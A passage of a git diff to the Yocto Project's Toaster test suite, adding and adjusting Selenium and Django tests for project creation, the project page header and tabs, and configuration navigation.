+ # create a tmp file for the recipe
+ with open(self.recipe.file_path, 'w') as f:
+ f.write('foo')
# another project with a custom image already in it
project2 = Project.objects.create(name='whoop', release=release)
diff --git a/poky/bitbake/lib/toaster/tests/browser/test_sample.py b/poky/bitbake/lib/toaster/tests/browser/test_sample.py
index b0067c21cd..73973778e4 100644
--- a/poky/bitbake/lib/toaster/tests/browser/test_sample.py
+++ b/poky/bitbake/lib/toaster/tests/browser/test_sample.py
@@ -27,3 +27,12 @@ class TestSample(SeleniumTestCase):
self.get(url)
brand_link = self.find('.toaster-navbar-brand a.brand')
self.assertEqual(brand_link.text.strip(), 'Toaster')
+
+ def test_no_builds_message(self):
+ """ Test that a message is shown when there are no builds """
+ url = reverse('all-builds')
+ self.get(url)
+ div_msg = self.find('#empty-state-allbuildstable .alert-info')
+
+ msg = 'Sorry - no data found'
+ self.assertEqual(div_msg.text, msg)
diff --git a/poky/bitbake/lib/toaster/tests/builds/buildtest.py b/poky/bitbake/lib/toaster/tests/builds/buildtest.py
index 13b51fb0d8..53cd7a9ffa 100644
--- a/poky/bitbake/lib/toaster/tests/builds/buildtest.py
+++ b/poky/bitbake/lib/toaster/tests/builds/buildtest.py
@@ -116,6 +116,15 @@ class BuildTest(unittest.TestCase):
project = Project.objects.create_project(name=BuildTest.PROJECT_NAME,
release=release)
+ passthrough_variable_names = ["SSTATE_DIR", "DL_DIR"]
+ for variable_name in passthrough_variable_names:
+ current_variable = os.environ.get(variable_name)
+ if current_variable:
+ ProjectVariable.objects.get_or_create(
+ name=variable_name,
+ value=current_variable,
+ project=project)
+
if os.environ.get("TOASTER_TEST_USE_SSTATE_MIRROR"):
ProjectVariable.objects.get_or_create(
name="SSTATE_MIRRORS",
diff --git a/poky/bitbake/lib/toaster/tests/functional/functional_helpers.py b/poky/bitbake/lib/toaster/tests/functional/functional_helpers.py
index c3191f664a..b80d403bec 100644
--- a/poky/bitbake/lib/toaster/tests/functional/functional_helpers.py
+++ b/poky/bitbake/lib/toaster/tests/functional/functional_helpers.py
@@ -15,8 +15,6 @@ import time
import re
from tests.browser.selenium_helpers_base import SeleniumTestCaseBase
-from tests.builds.buildtest import load_build_environment
-from bldcontrol.models import BuildEnvironment
from selenium.webdriver.common.by import By
from selenium.common.exceptions import NoSuchElementException
@@ -33,10 +31,6 @@ class SeleniumFunctionalTestCase(SeleniumTestCaseBase):
raise RuntimeError("Please initialise django with the tests settings: " \
"DJANGO_SETTINGS_MODULE='toastermain.settings_test'")
- if BuildEnvironment.objects.count() == 0:
- BuildEnvironment.objects.create(betype=BuildEnvironment.TYPE_LOCAL)
- load_build_environment()
-
# start toaster
cmd = "bash -c 'source toaster start'"
p = subprocess.Popen(
diff --git a/poky/bitbake/lib/toaster/tests/functional/test_create_new_project.py b/poky/bitbake/lib/toaster/tests/functional/test_create_new_project.py
new file mode 100644
index 0000000000..dc7d1fc20b
--- /dev/null
+++ b/poky/bitbake/lib/toaster/tests/functional/test_create_new_project.py
@@ -0,0 +1,177 @@
+#! /usr/bin/env python3
+# BitBake Toaster UI tests implementation
+#
+# Copyright (C) 2023 Savoir-faire Linux
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+import re
+import pytest
+from django.urls import reverse
+from selenium.webdriver.support.select import Select
+from tests.functional.functional_helpers import SeleniumFunctionalTestCase
+from orm.models import Project
+from selenium.webdriver.common.by import By
+
+
+@pytest.mark.django_db
+class TestCreateNewProject(SeleniumFunctionalTestCase):
+
+ def _create_test_new_project(
+ self,
+ project_name,
+ release,
+ release_title,
+ merge_toaster_settings,
+ ):
+ """ Create/Test new project using:
+ - Project Name: Any string
+ - Release: Any string
+ - Merge Toaster settings: True or False
+ """
+ self.get(reverse('newproject'))
+ self.driver.find_element(By.ID,
+ "new-project-name").send_keys(project_name)
+
+ select = Select(self.find('#projectversion'))
+ select.select_by_value(release)
+
+ # check merge toaster settings
+ checkbox = self.find('.checkbox-mergeattr')
+ if merge_toaster_settings:
+ if not checkbox.is_selected():
+ checkbox.click()
+ else:
+ if checkbox.is_selected():
+ checkbox.click()
+
+ self.driver.find_element(By.ID, "create-project-button").click()
+
+ element = self.wait_until_visible('#project-created-notification')
+ self.assertTrue(
+ self.element_exists('#project-created-notification'),
+ f"Project:{project_name} creation notification not shown"
+ )
+ self.assertTrue(
+ project_name in element.text,
+ f"New project name:{project_name} not in new project notification"
+ )
+ self.assertTrue(
+ Project.objects.filter(name=project_name).count(),
+ f"New project:{project_name} not found in database"
+ )
+
+ # check release
+ self.assertTrue(re.search(
+ release_title,
+ self.driver.find_element(By.XPATH,
+ "//span[@id='project-release-title']"
+ ).text),
+ 'The project release is not defined')
+
+ def test_create_new_project_master(self):
+ """ Test create new project using:
+ - Project Name: Any string
+ - Release: Yocto Project master (option value: 3)
+ - Merge Toaster settings: False
+ """
+ release = '3'
+ release_title = 'Yocto Project master'
+ project_name = 'projectmaster'
+ self._create_test_new_project(
+ project_name,
+ release,
+ release_title,
+ False,
+ )
+
+ def test_create_new_project_kirkstone(self):
+ """ Test create new project using:
+ - Project Name: Any string
+ - Release: Yocto Project 4.0 "Kirkstone" (option value: 1)
+ - Merge Toaster settings: True
+ """
+ release = '1'
+ release_title = 'Yocto Project 4.0 "Kirkstone"'
+ project_name = 'projectkirkstone'
+ self._create_test_new_project(
+ project_name,
+ release,
+ release_title,
+ True,
+ )
+
+ def test_create_new_project_dunfell(self):
+ """ Test create new project using:
+ - Project Name: Any string
+ - Release: Yocto Project 3.1 "Dunfell" (option value: 5)
+ - Merge Toaster settings: False
+ """
+ release = '5'
+ release_title = 'Yocto Project 3.1 "Dunfell"'
+ project_name = 'projectdunfull'
+ self._create_test_new_project(
+ project_name,
+ release,
+ release_title,
+ False,
+ )
+
+ def test_create_new_project_local(self):
+ """ Test create new project using:
+ - Project Name: Any string
+ - Release: Local Yocto Project (option value: 2)
+ - Merge Toaster settings: True
+ """
+ release = '2'
+ release_title = 'Local Yocto Project'
+ project_name = 'projectlocal'
+ self._create_test_new_project(
+ project_name,
+ release,
+ release_title,
+ True,
+ )
+
+ def test_create_new_project_without_name(self):
+ """ Test create new project without project name """
+ self.get(reverse('newproject'))
+
+ select = Select(self.find('#projectversion'))
+ select.select_by_value(str(3))
+
+ # Check input name has required attribute
+ input_name = self.driver.find_element(By.ID, "new-project-name")
+ self.assertIsNotNone(input_name.get_attribute('required'),
+ 'Input name has not required attribute')
+
+ # Check create button is disabled
+ create_btn = self.driver.find_element(By.ID, "create-project-button")
+ self.assertIsNotNone(create_btn.get_attribute('disabled'),
+ 'Create button is not disabled')
+
+ def test_import_new_project(self):
+ """ Test import new project using:
+ - Project Name: Any string
+ - Project type: select (Import command line project)
+ - Import existing project directory: Wrong Path
+ """
+ project_name = 'projectimport'
+ self.get(reverse('newproject'))
+ self.driver.find_element(By.ID,
+ "new-project-name").send_keys(project_name)
+ # select import project
+ self.find('#type-import').click()
+
+ # set wrong path
+ wrong_path = '/wrongpath'
+ self.driver.find_element(By.ID,
+ "import-project-dir").send_keys(wrong_path)
+ self.driver.find_element(By.ID, "create-project-button").click()
+
+ # check error message
+ self.assertTrue(self.element_exists('.alert-danger'),
+ 'Allert message not shown')
+ self.assertTrue(wrong_path in self.find('.alert-danger').text,
+ "Wrong path not in alert message")
diff --git a/poky/bitbake/lib/toaster/tests/functional/test_functional_basic.py b/poky/bitbake/lib/toaster/tests/functional/test_functional_basic.py
index 067ad99a9c..f558cce884 100644
--- a/poky/bitbake/lib/toaster/tests/functional/test_functional_basic.py
+++ b/poky/bitbake/lib/toaster/tests/functional/test_functional_basic.py
@@ -7,21 +7,26 @@
# SPDX-License-Identifier: GPL-2.0-only
#
-import re
+import re, time
+from django.urls import reverse
+import pytest
from tests.functional.functional_helpers import SeleniumFunctionalTestCase
from orm.models import Project
from selenium.webdriver.common.by import By
+
+@pytest.mark.order("last")
class FuntionalTestBasic(SeleniumFunctionalTestCase):
# testcase (1514)
+ @pytest.mark.django_db
def test_create_slenium_project(self):
project_name = 'selenium-project'
- self.get('')
- self.driver.find_element(By.LINK_TEXT, "To start building, create your first Toaster project").click()
+ self.get(reverse('newproject'))
self.driver.find_element(By.ID, "new-project-name").send_keys(project_name)
self.driver.find_element(By.ID, 'projectversion').click()
self.driver.find_element(By.ID, "create-project-button").click()
+ time.sleep(2)
element = self.wait_until_visible('#project-created-notification')
self.assertTrue(self.element_exists('#project-created-notification'),'Project creation notification not shown')
self.assertTrue(project_name in element.text,
@@ -31,15 +36,18 @@ class FuntionalTestBasic(SeleniumFunctionalTestCase):
# testcase (1515)
def test_verify_left_bar_menu(self):
- self.get('')
+ self.get(reverse('all-projects'))
self.wait_until_visible('#projectstable')
self.find_element_by_link_text_in_table('projectstable', 'selenium-project').click()
+ time.sleep(2)
self.assertTrue(self.element_exists('#config-nav'),'Configuration Tab does not exist')
project_URL=self.get_URL()
self.driver.find_element(By.XPATH, '//a[@href="'+project_URL+'"]').click()
+ time.sleep(2)
try:
self.driver.find_element(By.XPATH, "//*[@id='config-nav']/ul/li/a[@href="+'"'+project_URL+'customimages/"'+"]").click()
+ time.sleep(2)
self.assertTrue(re.search("Custom images",self.driver.find_element(By.XPATH, "//div[@class='col-md-10']").text),'Custom images information is not loading properly')
except:
self.fail(msg='No Custom images tab available')
@@ -78,14 +86,16 @@ class FuntionalTestBasic(SeleniumFunctionalTestCase):
def test_review_configuration_information(self):
self.get('')
self.driver.find_element(By.XPATH, "//div[@id='global-nav']/ul/li/a[@href="+'"'+'/toastergui/projects/'+'"'+"]").click()
+ time.sleep(2)
self.wait_until_visible('#projectstable')
self.find_element_by_link_text_in_table('projectstable', 'selenium-project').click()
project_URL=self.get_URL()
-
+ time.sleep(2)
try:
self.assertTrue(self.element_exists('#machine-section'),'Machine section for the project configuration page does not exist')
self.assertTrue(re.search("qemux86",self.driver.find_element(By.XPATH, "//span[@id='project-machine-name']").text),'The machine type is not assigned')
self.driver.find_element(By.XPATH, "//span[@id='change-machine-toggle']").click()
+ time.sleep(2)
self.wait_until_visible('#select-machine-form')
self.wait_until_visible('#cancel-machine-change')
self.driver.find_element(By.XPATH, "//form[@id='select-machine-form']/a[@id='cancel-machine-change']").click()
@@ -123,13 +133,16 @@ class FuntionalTestBasic(SeleniumFunctionalTestCase):
def test_verify_machine_information(self):
self.get('')
self.driver.find_element(By.XPATH, "//div[@id='global-nav']/ul/li/a[@href="+'"'+'/toastergui/projects/'+'"'+"]").click()
+ time.sleep(2)
self.wait_until_visible('#projectstable')
self.find_element_by_link_text_in_table('projectstable', 'selenium-project').click()
+ time.sleep(2)
try:
self.assertTrue(self.element_exists('#machine-section'),'Machine section for the project configuration page does not exist')
self.assertTrue(re.search("qemux86",self.driver.find_element(By.ID, "project-machine-name").text),'The machine type is not assigned')
self.driver.find_element(By.ID, "change-machine-toggle").click()
+ time.sleep(2)
self.wait_until_visible('#select-machine-form')
self.wait_until_visible('#cancel-machine-change')
self.driver.find_element(By.ID, "cancel-machine-change").click()
@@ -140,14 +153,15 @@ class FuntionalTestBasic(SeleniumFunctionalTestCase):
def test_verify_most_built_recipes_information(self):
self.get('')
self.driver.find_element(By.XPATH, "//div[@id='global-nav']/ul/li/a[@href="+'"'+'/toastergui/projects/'+'"'+"]").click()
-
+ time.sleep(2)
self.wait_until_visible('#projectstable')
self.find_element_by_link_text_in_table('projectstable', 'selenium-project').click()
project_URL=self.get_URL()
-
+ time.sleep(2)
try:
self.assertTrue(re.search("You haven't built any recipes yet",self.driver.find_element(By.ID, "no-most-built").text),'Default message of no builds is not present')
self.driver.find_element(By.XPATH, "//div[@id='no-most-built']/p/a[@href="+'"'+project_URL+'images/"'+"]").click()
+ time.sleep(2)
self.assertTrue(re.search("Compatible image recipes",self.driver.find_element(By.XPATH, "//div[@class='col-md-10']").text),'The Choose a recipe to build link is not working properly')
except:
self.fail(msg='No Most built information in project detail page')
@@ -156,8 +170,10 @@ class FuntionalTestBasic(SeleniumFunctionalTestCase):
def test_verify_project_release_information(self):
self.get('')
self.driver.find_element(By.XPATH, "//div[@id='global-nav']/ul/li/a[@href="+'"'+'/toastergui/projects/'+'"'+"]").click()
+ time.sleep(2)
self.wait_until_visible('#projectstable')
self.find_element_by_link_text_in_table('projectstable', 'selenium-project').click()
+ time.sleep(2)
try:
self.assertTrue(re.search("Yocto Project master",self.driver.find_element(By.ID, "project-release-title").text),'The project release is not defined')
@@ -171,12 +187,12 @@ class FuntionalTestBasic(SeleniumFunctionalTestCase):
self.wait_until_visible('#projectstable')
self.find_element_by_link_text_in_table('projectstable', 'selenium-project').click()
project_URL=self.get_URL()
-
+ time.sleep(2)
try:
self.driver.find_element(By.XPATH, "//div[@id='layer-container']")
self.assertTrue(re.search("3",self.driver.find_element(By.ID, "project-layers-count").text),'There should be 3 layers listed in the layer count')
layer_list = self.driver.find_element(By.ID, "layers-in-project-list")
- layers = layer_list.find_element(By.TAG_NAME, "li")
+ layers = layer_list.find_elements(By.TAG_NAME, "li")
for layer in layers:
if re.match ("openembedded-core",layer.text):
@@ -199,10 +215,11 @@ class FuntionalTestBasic(SeleniumFunctionalTestCase):
def test_verify_project_detail_links(self):
self.get('')
self.driver.find_element(By.XPATH, "//div[@id='global-nav']/ul/li/a[@href="+'"'+'/toastergui/projects/'+'"'+"]").click()
+ time.sleep(2)
self.wait_until_visible('#projectstable')
self.find_element_by_link_text_in_table('projectstable', 'selenium-project').click()
project_URL=self.get_URL()
-
+ time.sleep(2)
self.driver.find_element(By.XPATH, "//div[@id='project-topbar']/ul[@class='nav nav-tabs']/li[@id='topbar-configuration-tab']/a[@href="+'"'+project_URL+'"'+"]").click()
self.assertTrue(re.search("Configuration",self.driver.find_element(By.XPATH, "//div[@id='project-topbar']/ul[@class='nav nav-tabs']/li[@id='topbar-configuration-tab']/a[@href="+'"'+project_URL+'"'+"]").text), 'Configuration tab in project topbar is misspelled')
diff --git a/poky/bitbake/lib/toaster/tests/functional/test_project_page.py b/poky/bitbake/lib/toaster/tests/functional/test_project_page.py
new file mode 100644
index 0000000000..3edf967a2c
--- /dev/null
+++ b/poky/bitbake/lib/toaster/tests/functional/test_project_page.py
@@ -0,0 +1,247 @@
+#! /usr/bin/env python3 #
+# BitBake Toaster UI tests implementation
+#
+# Copyright (C) 2023 Savoir-faire Linux
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+import pytest
+from django.urls import reverse
+from selenium.webdriver.support.select import Select
+from tests.functional.functional_helpers import SeleniumFunctionalTestCase
+from selenium.webdriver.common.by import By
+
+
+@pytest.mark.django_db
+class TestProjectPage(SeleniumFunctionalTestCase):
+
+ def setUp(self):
+ super().setUp()
+ release = '3'
+ project_name = 'projectmaster'
+ self._create_test_new_project(
+ project_name,
+ release,
+ False,
+ )
+
+ def _create_test_new_project(
+ self,
+ project_name,
+ release,
+ merge_toaster_settings,
+ ):
+ """ Create/Test new project using:
+ - Project Name: Any string
+ - Release: Any string
+ - Merge Toaster settings: True or False
+ """
+ self.get(reverse('newproject'))
+ self.driver.find_element(By.ID,
+ "new-project-name").send_keys(project_name)
+
+ select = Select(self.find('#projectversion'))
+ select.select_by_value(release)
+
+ # check merge toaster settings
+ checkbox = self.find('.checkbox-mergeattr')
+ if merge_toaster_settings:
+ if not checkbox.is_selected():
+ checkbox.click()
+ else:
+ if checkbox.is_selected():
+ checkbox.click()
+
+ self.driver.find_element(By.ID, "create-project-button").click()
+
+ def test_page_header_on_project_page(self):
+ """ Check page header in project page:
+ - AT LEFT -> Logo of Yocto project, displayed, clickable
+ - "Toaster"+" Information icon", displayed, clickable
+ - "Server Icon" + "All builds", displayed, clickable
+ - "Directory Icon" + "All projects", displayed, clickable
+ - "Book Icon" + "Documentation", displayed, clickable
+ - AT RIGHT -> button "New project", displayed, clickable
+ """
+ # navigate to the project page
+ url = reverse("project", args=(1,))
+ self.get(url)
+
+ # check page header
+ # AT LEFT -> Logo of Yocto project
+ logo = self.driver.find_element(
+ By.XPATH,
+ "//div[@class='toaster-navbar-brand']",
+ )
+ logo_img = logo.find_element(By.TAG_NAME, 'img')
+ self.assertTrue(logo_img.is_displayed(),
+ 'Logo of Yocto project not found')
+ self.assertTrue(
+ '/static/img/logo.png' in str(logo_img.get_attribute('src')),
+ 'Logo of Yocto project not found'
+ )
+ # "Toaster"+" Information icon", clickable
+ toaster = self.driver.find_element(
+ By.XPATH,
+ "//div[@class='toaster-navbar-brand']//a[@class='brand']",
+ )
+ self.assertTrue(toaster.is_displayed(), 'Toaster not found')
+ self.assertTrue(toaster.text == 'Toaster')
+ info_sign = self.find('.glyphicon-info-sign')
+ self.assertTrue(info_sign.is_displayed())
+
+ # "Server Icon" + "All builds"
+ all_builds = self.find('#navbar-all-builds')
+ all_builds_link = all_builds.find_element(By.TAG_NAME, 'a')
+ self.assertTrue("All builds" in all_builds_link.text)
+ self.assertTrue(
+ '/toastergui/builds/' in str(all_builds_link.get_attribute('href'))
+ )
+ server_icon = all_builds.find_element(By.TAG_NAME, 'i')
+ self.assertTrue(
+ server_icon.get_attribute('class') == 'glyphicon glyphicon-tasks'
+ )
+ self.assertTrue(server_icon.is_displayed())
+
+ # "Directory Icon" + "All projects"
+ all_projects = self.find('#navbar-all-projects')
+ all_projects_link = all_projects.find_element(By.TAG_NAME, 'a')
+ self.assertTrue("All projects" in all_projects_link.text)
+ self.assertTrue(
+ '/toastergui/projects/' in str(all_projects_link.get_attribute(
+ 'href'))
+ )
+ dir_icon = all_projects.find_element(By.TAG_NAME, 'i')
+ self.assertTrue(
+ dir_icon.get_attribute('class') == 'icon-folder-open'
+ )
+ self.assertTrue(dir_icon.is_displayed())
+
+ # "Book Icon" + "Documentation"
+ toaster_docs_link = self.find('#navbar-docs')
+ toaster_docs_link_link = toaster_docs_link.find_element(By.TAG_NAME,
+ 'a')
+ self.assertTrue("Documentation" in toaster_docs_link_link.text)
+ self.assertTrue(
+ toaster_docs_link_link.get_attribute('href') == 'http://docs.yoctoproject.org/toaster-manual/index.html#toaster-user-manual'
+ )
+ book_icon = toaster_docs_link.find_element(By.TAG_NAME, 'i')
+ self.assertTrue(
+ book_icon.get_attribute('class') == 'glyphicon glyphicon-book'
+ )
+ self.assertTrue(book_icon.is_displayed())
+
+ # AT RIGHT -> button "New project"
+ new_project_button = self.find('#new-project-button')
+ self.assertTrue(new_project_button.is_displayed())
+ self.assertTrue(new_project_button.text == 'New project')
+ new_project_button.click()
+ self.assertTrue(
+ '/toastergui/newproject/' in str(self.driver.current_url)
+ )
+
+ def test_edit_project_name(self):
+ """ Test edit project name:
+ - Click on "Edit" icon button
+ - Change project name
+ - Click on "Save" button
+ - Check project name is changed
+ """
+ # navigate to the project page
+ url = reverse("project", args=(1,))
+ self.get(url)
+
+ # click on "Edit" icon button
+ self.wait_until_visible('#project-name-container')
+ edit_button = self.find('#project-change-form-toggle')
+ edit_button.click()
+ project_name_input = self.find('#project-name-change-input')
+ self.assertTrue(project_name_input.is_displayed())
+ project_name_input.clear()
+ project_name_input.send_keys('New Name')
+ self.find('#project-name-change-btn').click()
+
+ # check project name is changed
+ self.wait_until_visible('#project-name-container')
+ self.assertTrue(
+ 'New Name' in str(self.find('#project-name-container').text)
+ )
+
+ def test_project_page_tabs(self):
+ """ Test project tabs:
+ - "configuration" tab
+ - "Builds" tab
+ - "Import layers" tab
+ - "New custom image" tab
+ Check search box used to build recipes
+ """
+ # navigate to the project page
+ url = reverse("project", args=(1,))
+ self.get(url)
+
+ # check "configuration" tab
+ self.wait_until_visible('#topbar-configuration-tab')
+ config_tab = self.find('#topbar-configuration-tab')
+ self.assertTrue(config_tab.get_attribute('class') == 'active')
+ self.assertTrue('Configuration' in config_tab.text)
+ config_tab_link = config_tab.find_element(By.TAG_NAME, 'a')
+ self.assertTrue(
+ f"/toastergui/project/1" in str(config_tab_link.get_attribute(
+ 'href'))
+ )
+
+ def get_tabs():
+ # tabs links list
+ return self.driver.find_elements(
+ By.XPATH,
+ '//div[@id="project-topbar"]//li'
+ )
+
+ def check_tab_link(tab_index, tab_name, url):
+ tab = get_tabs()[tab_index]
+ tab_link = tab.find_element(By.TAG_NAME, 'a')
+ self.assertTrue(url in tab_link.get_attribute('href'))
+ self.assertTrue(tab_name in tab_link.text)
+ self.assertTrue(tab.get_attribute('class') == 'active')
+
+ # check "Builds" tab
+ builds_tab = get_tabs()[1]
+ builds_tab.find_element(By.TAG_NAME, 'a').click()
+ check_tab_link(
+ 1,
+ 'Builds',
+ f"/toastergui/project/1/builds"
+ )
+
+ # check "Import layers" tab
+ import_layers_tab = get_tabs()[2]
+ import_layers_tab.find_element(By.TAG_NAME, 'a').click()
+ check_tab_link(
+ 2,
+ 'Import layer',
+ f"/toastergui/project/1/importlayer"
+ )
+
+ # check "New custom image" tab
+ new_custom_image_tab = get_tabs()[3]
+ new_custom_image_tab.find_element(By.TAG_NAME, 'a').click()
+ check_tab_link(
+ 3,
+ 'New custom image',
+ f"/toastergui/project/1/newcustomimage"
+ )
+
+ # check search box can be use to build recipes
+ search_box = self.find('#build-input')
+ search_box.send_keys('core-image-minimal')
+ self.find('#build-button').click()
+ self.wait_until_visible('#latest-builds')
+ lastest_builds = self.driver.find_elements(
+ By.XPATH,
+ '//div[@id="latest-builds"]',
+ )
+ last_build = lastest_builds[0]
+ self.assertTrue(
+ 'core-image-minimal' in str(last_build.text)
+ )
diff --git a/poky/bitbake/lib/toaster/tests/functional/test_project_page_tab_config.py b/poky/bitbake/lib/toaster/tests/functional/test_project_page_tab_config.py
new file mode 100644
index 0000000000..23012d7865
--- /dev/null
+++ b/poky/bitbake/lib/toaster/tests/functional/test_project_page_tab_config.py
@@ -0,0 +1,578 @@
+#! /usr/bin/env python3 #
+# BitBake Toaster UI tests implementation
+#
+# Copyright (C) 2023 Savoir-faire Linux
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+from time import sleep
+import pytest
+from django.utils import timezone
+from django.urls import reverse
+from selenium.webdriver import Keys
+from selenium.webdriver.support.select import Select
+from selenium.common.exceptions import NoSuchElementException
+from orm.models import Build, Project, Target
+from tests.functional.functional_helpers import SeleniumFunctionalTestCase
+from selenium.webdriver.common.by import By
+
+
+@pytest.mark.django_db
+class TestProjectConfigTab(SeleniumFunctionalTestCase):
+
+ def setUp(self):
+ self.recipe = None
+ super().setUp()
+ release = '3'
+ project_name = 'projectmaster'
+ self._create_test_new_project(
+ project_name,
+ release,
+ False,
+ )
+
+ def _create_test_new_project(
+ self,
+ project_name,
+ release,
+ merge_toaster_settings,
+ ):
+ """ Create/Test new project using:
+ - Project Name: Any string
+ - Release: Any string
+ - Merge Toaster settings: True or False
+ """
+ self.get(reverse('newproject'))
+ self.driver.find_element(By.ID,
+ "new-project-name").send_keys(project_name)
+
+ select = Select(self.find('#projectversion'))
+ select.select_by_value(release)
+
+ # check merge toaster settings
+ checkbox = self.find('.checkbox-mergeattr')
+ if merge_toaster_settings:
+ if not checkbox.is_selected():
+ checkbox.click()
+ else:
+ if checkbox.is_selected():
+ checkbox.click()
+
+ self.driver.find_element(By.ID, "create-project-button").click()
+
+ @classmethod
+ def _wait_until_build(cls, state):
+ while True:
+ try:
+ last_build_state = cls.driver.find_element(
+ By.XPATH,
+ '//*[@id="latest-builds"]/div[1]//div[@class="build-state"]',
+ )
+ build_state = last_build_state.get_attribute(
+ 'data-build-state')
+ state_text = state.lower().split()
+ if any(x in str(build_state).lower() for x in state_text):
+ break
+ except NoSuchElementException:
+ continue
+ sleep(1)
+
+ def _create_builds(self):
+ # check search box can be use to build recipes
+ search_box = self.find('#build-input')
+ search_box.send_keys('core-image-minimal')
+ self.find('#build-button').click()
+ sleep(1)
+ self.wait_until_visible('#latest-builds')
+ # loop until reach the parsing state
+ self._wait_until_build('parsing starting cloning')
+ lastest_builds = self.driver.find_elements(
+ By.XPATH,
+ '//div[@id="latest-builds"]/div',
+ )
+ last_build = lastest_builds[0]
+ self.assertTrue(
+ 'core-image-minimal' in str(last_build.text)
+ )
+ cancel_button = last_build.find_element(
+ By.XPATH,
+ '//span[@class="cancel-build-btn pull-right alert-link"]',
+ )
+ cancel_button.click()
+ sleep(1)
+ self._wait_until_build('cancelled')
+
+ def _get_tabs(self):
+ # tabs links list
+ return self.driver.find_elements(
+ By.XPATH,
+ '//div[@id="project-topbar"]//li'
+ )
+
+ def _get_config_nav_item(self, index):
+ config_nav = self.find('#config-nav')
+ return config_nav.find_elements(By.TAG_NAME, 'li')[index]
+
+ def _get_create_builds(self, **kwargs):
+ """ Create a build and return the build object """
+ # parameters for builds to associate with the projects
+ now = timezone.now()
+ release = '3'
+ project_name = 'projectmaster'
+ self._create_test_new_project(
+ project_name+"2",
+ release,
+ False,
+ )
+
+ self.project1_build_success = {
+ 'project': Project.objects.get(id=1),
+ 'started_on': now,
+ 'completed_on': now,
+ 'outcome': Build.SUCCEEDED
+ }
+
+ self.project1_build_failure = {
+ 'project': Project.objects.get(id=1),
+ 'started_on': now,
+ 'completed_on': now,
+ 'outcome': Build.FAILED
+ }
+ build1 = Build.objects.create(**self.project1_build_success)
+ build2 = Build.objects.create(**self.project1_build_failure)
+
+ # add some targets to these builds so they have recipe links
+ # (and so we can find the row in the ToasterTable corresponding to
+ # a particular build)
+ Target.objects.create(build=build1, target='foo')
+ Target.objects.create(build=build2, target='bar')
+
+ if kwargs:
+ # Create kwargs.get('success') builds with success status with target
+ # and kwargs.get('failure') builds with failure status with target
+ for i in range(kwargs.get('success', 0)):
+ now = timezone.now()
+ self.project1_build_success['started_on'] = now
+ self.project1_build_success[
+ 'completed_on'] = now - timezone.timedelta(days=i)
+ build = Build.objects.create(**self.project1_build_success)
+ Target.objects.create(build=build,
+ target=f'{i}_success_recipe',
+ task=f'{i}_success_task')
+
+ for i in range(kwargs.get('failure', 0)):
+ now = timezone.now()
+ self.project1_build_failure['started_on'] = now
+ self.project1_build_failure[
+ 'completed_on'] = now - timezone.timedelta(days=i)
+ build = Build.objects.create(**self.project1_build_failure)
+ Target.objects.create(build=build,
+ target=f'{i}_fail_recipe',
+ task=f'{i}_fail_task')
+ return build1, build2
+
+ def test_project_config_nav(self):
+ """ Test project config tab navigation:
+ - Check if the menu is displayed and contains the right elements:
+ - Configuration
+ - COMPATIBLE METADATA
+ - Custom images
+ - Image recipes
+ - Software recipes
+ - Machines
+ - Layers
+ - Distro
+ - EXTRA CONFIGURATION
+ - Bitbake variables
+ - Actions
+ - Delete project
+ """
+ # navigate to the project page
+ url = reverse("project", args=(1,))
+ self.get(url)
+
+ # check if the menu is displayed
+ self.wait_until_visible('#config-nav')
+
+ def _get_config_nav_item(index):
+ config_nav = self.find('#config-nav')
+ return config_nav.find_elements(By.TAG_NAME, 'li')[index]
+
+ def check_config_nav_item(index, item_name, url):
+ item = _get_config_nav_item(index)
+ self.assertTrue(item_name in item.text)
+ self.assertTrue(item.get_attribute('class') == 'active')
+ self.assertTrue(url in self.driver.current_url)
+
+ # check if the menu contains the right elements
+ # COMPATIBLE METADATA
+ compatible_metadata = _get_config_nav_item(1)
+ self.assertTrue(
+ "compatible metadata" in compatible_metadata.text.lower()
+ )
+ # EXTRA CONFIGURATION
+ extra_configuration = _get_config_nav_item(8)
+ self.assertTrue(
+ "extra configuration" in extra_configuration.text.lower()
+ )
+ # Actions
+ actions = _get_config_nav_item(10)
+ self.assertTrue("actions" in str(actions.text).lower())
+
+ conf_nav_list = [
+ [0, 'Configuration', f"/toastergui/project/1"], # config
+ [2, 'Custom images', f"/toastergui/project/1/customimages"], # custom images
+ [3, 'Image recipes', f"/toastergui/project/1/images"], # image recipes
+ [4, 'Software recipes', f"/toastergui/project/1/softwarerecipes"], # software recipes
+ [5, 'Machines', f"/toastergui/project/1/machines"], # machines
+ [6, 'Layers', f"/toastergui/project/1/layers"], # layers
+ [7, 'Distro', f"/toastergui/project/1/distro"], # distro
+ [9, 'BitBake variables', f"/toastergui/project/1/configuration"], # bitbake variables
+ ]
+ for index, item_name, url in conf_nav_list:
+ item = _get_config_nav_item(index)
+ if item.get_attribute('class') != 'active':
+ item.click()
+ check_config_nav_item(index, item_name, url)
+
+ def test_project_config_tab_right_section(self):
+ """ Test project config tab right section contains five blocks:
+ - Machine:
+ - check 'Machine' is displayed
+ - check can change Machine
+ - Distro:
+ - check 'Distro' is displayed
+ - check can change Distro
+ - Most built recipes:
+ - check 'Most built recipes' is displayed
+ - check can select a recipe and build it
+ - Project release:
+ - check 'Project release' is displayed
+ - check project has right release displayed
+ - Layers:
+ - check can add a layer if exists
+ - check at least three layers are displayed
+ - openembedded-core
+ - meta-poky
+ - meta-yocto-bsp
+ """
+ # navigate to the project page
+ url = reverse("project", args=(1,))
+ self.get(url)
+
+ # check if the menu is displayed
+ self.wait_until_visible('#project-page')
+ block_l = self.driver.find_element(
+ By.XPATH, '//*[@id="project-page"]/div[2]')
+ machine = self.find('#machine-section')
+ distro = self.find('#distro-section')
+ most_built_recipes = self.driver.find_element(
+ By.XPATH, '//*[@id="project-page"]/div[1]/div[3]')
+ project_release = self.driver.find_element(
+ By.XPATH, '//*[@id="project-page"]/div[1]/div[4]')
+ layers = block_l.find_element(By.ID, 'layer-container')
+
+ def check_machine_distro(self, item_name, new_item_name, block):
+ title = block.find_element(By.TAG_NAME, 'h3')
+ self.assertTrue(item_name.capitalize() in title.text)
+ edit_btn = block.find_element(By.ID, f'change-{item_name}-toggle')
+ edit_btn.click()
+ sleep(1)
+ name_input = block.find_element(By.ID, f'{item_name}-change-input')
+ name_input.clear()
+ name_input.send_keys(new_item_name)
+ change_btn = block.find_element(By.ID, f'{item_name}-change-btn')
+ change_btn.click()
+ sleep(1)
+ project_name = block.find_element(By.ID, f'project-{item_name}-name')
+ self.assertTrue(new_item_name in project_name.text)
